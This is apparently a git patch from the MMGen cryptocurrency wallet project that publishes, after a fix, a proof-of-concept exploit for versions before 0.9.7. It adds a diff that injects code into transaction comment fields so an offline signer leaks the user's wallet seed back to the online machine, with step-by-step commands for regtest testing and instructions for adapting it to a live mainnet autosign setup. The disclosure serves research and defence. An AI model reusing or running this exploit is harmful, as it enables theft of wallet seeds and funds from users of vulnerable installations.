From 06af7342cf6a82007d359e0d8f8b7bf1346e3d4b Mon Sep 17 00:00:00 2001 From: MMGen Date: Tue, 22 May 2018 08:47:24 +0000 Subject: [PATCH] Pre-0.9.7 seed-stealing exploit Versions of MMGen prior to 0.9.7 were vulnerable to an attack whereby a compromised MMGen installation on the network-connected machine could trick an offline installation into revealing the user's seed via a specially crafted transaction file. Since sufficient time has passed for users to upgrade, we now deem it safe to publish the exploit, implemented as a patch against v0.9.6. Instructions for use are in the patch itself. --- scripts/txsign-eval-exploit.diff | 67 ++++++++++++++++++++++++++++++++ 1 file changed, 67 insertions(+) create mode 100644 scripts/txsign-eval-exploit.diff diff --git a/scripts/txsign-eval-exploit.diff b/scripts/txsign-eval-exploit.diff new file mode 100644 index 00000000..76fbf300 --- /dev/null +++ b/scripts/txsign-eval-exploit.diff @@ -0,0 +1,67 @@ +# Implements the exploit that allowed a compromised MMGen on an online machine +# to fool an offline signing MMGen into passing the user's seed back to the +# online machine via a specially crafted transaction + +# The seed is split in two and passed via the the input and output transaction +# comments + +# Patch is against v0.9.6 - 6b9df0e contains the fix, which was included in v0.9.7 + +# Testing the exploit in Regtest mode: +# $ git checkout -b evil_exploit v0.9.6 +# $ git apply scripts/txsign-eval-exploit.diff +# $ git commit -a -m foo +# $ mmgen-regtest setup +# $ mmgen-regtest bob +# $ mmgen-walletgen -q -p1 -r0 --bob -L label # (hit ENTER 3 times, remember Bob's Seed ID) +# $ mmgen-addrgen -q --bob 1-2 +# $ mmgen-addrimport -q --bob *.addrs +# $ mmgen-regtest send 500 +# # Set PYTHONPATH to use the patched mmgen/tx.py module without installing it: +# $ PYTHONPATH=. cmds/mmgen-txcreate --tx-fee=10s -q --bob :L:2 +# $ PYTHONPATH=. cmds/mmgen-txsign -q --bob *.rawtx +# $ mmgen-tool --testnet=1 txview *.sigtx # Bob's seed is contained in the two comments +# $ mmgen-walletconv -q -p1 -r0 --bob -o mmhex -S | cut -d ' ' -f 2- # verify that seed matches + +# To modify the tx file for a live autosign setup: +# - uncomment the commented-out line in the patched code +# - repeat the txcreate step +# - edit the resulting tx file: +# + replace the testnet addresses with their mainnet equivalents +# + replace 'REGTEST' with 'MAINNET' +# + replace the file's checksum in the first line with the output of 'scripts/compute-file-chksum.py' + +# Make sure to return to master branch when you're finished: +# $ git checkout master + +diff --git a/mmgen/tx.py b/mmgen/tx.py +index 0d43840..d167040 100755 +--- a/mmgen/tx.py ++++ b/mmgen/tx.py +@@ -557,6 +557,15 @@ class MMGenTX(MMGenObject): + def format(self): + self.inputs.check_coin_mismatch() + self.outputs.check_coin_mismatch() ++ d_in = repr([e.__dict__ for e in self.inputs]) ++ d_out = repr([e.__dict__ for e in self.outputs]) ++ if g.prog_name == 'mmgen-txcreate': ++ mod = "__import__('mmgen.seed',globals(),locals(),['SeedSource'])" ++ wdir = "os.environ['HOME']+'/.mmgen/regtest/btc/bob/'" ++ # wdir = "'/dev/shm/autosign/'" # use this for a real online/offline setup with autosign ++ wfile = "{w}+os.listdir({w})[-1]".format(w=wdir) ++ d_in = d_in.replace("'label': u''","'label': {}.SeedSource({}).seed.hexdata[:32]".format(mod,wfile)) ++ d_out = d_out.replace('{',"{{'label': {}.SeedSource({}).seed.hexdata[32:], ".format(mod,wfile)) + lines = [ + '{}{} {} {} {} {}{}'.format( + (g.coin+' ','')[g.coin=='BTC'], +@@ -568,8 +577,8 @@ class MMGenTX(MMGenObject): + ('',' LT={}'.format(self.locktime))[bool(self.locktime)] + ), + self.hex, +- repr([e.__dict__ for e in self.inputs]), +- repr([e.__dict__ for e in self.outputs]) ++ d_in, ++ d_out + ] + if self.label: + lines.append(baseconv.b58encode(self.label.encode('utf8')))